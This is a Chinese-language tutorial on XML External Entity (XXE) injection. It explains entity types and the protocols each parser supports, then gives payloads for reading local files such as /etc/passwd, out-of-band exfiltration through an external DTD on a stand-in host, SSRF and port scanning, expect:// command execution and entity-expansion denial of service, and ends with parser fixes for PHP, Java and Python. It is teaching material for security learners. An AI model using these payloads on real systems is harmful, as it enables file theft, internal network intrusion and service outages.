初心:深入了解,多一些思考。想把困惑都想清楚,不只是想做个“脚本小子”。
欢迎来听姐姐碎碎念😏…

XML外部实体(XXE)处理漏洞

漏洞类型

  • 代码注入

漏洞影响

往外部发送数据

  • 先读取本地文件,再向外网发起请求,传输此数据

SSRF(Server Side Request Forgery)

  • 其实就是发起请求,可将此服务器作为跳板,攻击内网

窃取敏感数据 (extracting sensitive data) --> 读取本地文件

  • 协议方式读取
  • PHP流方式

远程代码执行 (remote code execution)

  • PHP支持expect扩展,才可以执行系统命令

拒绝服务攻击(DDoS)

  • 让XML解析器,解析多层嵌套的实体参数。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。

漏洞成因

  • XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。

代码层面

  • XML文档结构(下面以一个RSS文档为例)
    • XML声明
    • 文档类型定义(可以没有)
    • 文档元素
<!-- XML声明:定义XML版本和字符编码 -->
<?xml version="1.0" encoding="UTF-8"?>

<!-- 文档类型定义(不一定存在) -->
<!DOCTYPE title [
    <!ELEMENT title ANY ><!-- 元素声明:通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合 -->
    <!ENTITY xxe SYSTEM "ahaha" ><!-- 内部实体声明:<!ENTITY 实体名称 "实体的值"> -->
]>

<!-- 文档元素 -->
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><!-- RSS声明:定义RSS版本 -->
<channel><!-- 后面都是RSS feed的内容 -->
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2015 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title><!-- 引用xxe这个实体:&xxe; -->
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

实体类型

  • 实体通常分为内部和外部。
    • 如果实体是在DTD结构内定义的,为内部实体。例如:<!ENTITY entity_name "entity_value">&entity_name;通过这种形式在文档元素中引用这个实体的值。
    • 如果实体的定义是在DTD结构之外,为外部实体。我们可以使用systempublic来定义他,例如<!ENTITY name SYSTEM "URI/URL">,URI/URL是外部资源地址。
  • 实体的4种类型(漏洞利用主要会用到:通用实体、参数实体)
    • 内建实体
      • ampersand: &
      • Single quote: '
      • Greater than: >
      • Less than: <
      • Double quote: "
    • 字符实体(如:©)
    • 通用实体(如此定义的<!ENTITY ename "text">
    • 参数实体(如此定义<!ENTITY % ename "entity_value">,使用%ename;时,相当于先将%ename;替换成entity_value,再使用entity_value对应的值)
  • 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

引用外部实体支持的协议

libxml2 PHP Java .NET 备注
  PHP流     PHP流可读取文件
file file http file file协议可读取本地文件
http http https http http(s)可引入一个外部的DTD文件或向外部发起请求
ftp ftp ftp https ftp可发起一个ftp协议请求,传输数据大小不限
  php file ftp
  compress.zlib jar  
  compress.bzip2 netdoc  
  data mailto  
  glob gopher *  
  phar    
```
  • PHP语言中,如果支持如下扩展:
```table
PHP扩展 支持协议 备注
openssl https、ftps  
zip zip  
ssh2 "ssh2.shell、ssh2.exec、ssh2.tunnel、ssh2.sftp、ssh2.scp"  
rar rar  
oggvorbis ogg  
expect expect 可执行系统命令

检测或利用方法

读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
    <!ELEMENT title ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<title>&xxe;</title>

使用PHP流方式读取文件(php:// — 访问各个输入/输出流(I/O streams))

http://php.net/manual/zh/wrappers.php.php特别是php://filter,读写操作都可以执行。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
    <!ELEMENT title ANY >
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
]>
<title>&xxe;</title>

往外部发送文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">
%dtd;]>
<roottag>&send;</roottag>

evil.dtd文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>">
%all;

SSRF利用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
    <!ELEMENT title ANY >
    <!ENTITY xxe SYSTEM "http://内网地址/服务?payload" >
]>
<title>&xxe;</title>

或是端口扫描:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
    <!ELEMENT title ANY >
    <!ENTITY xxe SYSTEM "http://内网地址:81" >
]>
<title>&xxe;</title>

远程代码执行(需要支持expect:// — 处理交互式的流)

http://php.net/manual/zh/wrappers.expect.php

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
    <!ELEMENT title ANY >
    <!ENTITY xxe SYSTEM "except://whoami" >
]>
<title>&xxe;</title>

拒绝服务攻击(DDoS)

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

如果解析过程变的非常缓慢,则表明测试成功。

  • 真实案例:Billion Laughs 攻击
    • 通过创建一项递归的 XML 定义,在内存中生成十亿个“Ha!”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
<!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>

解决方案

  • XML禁用外部实体引入

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))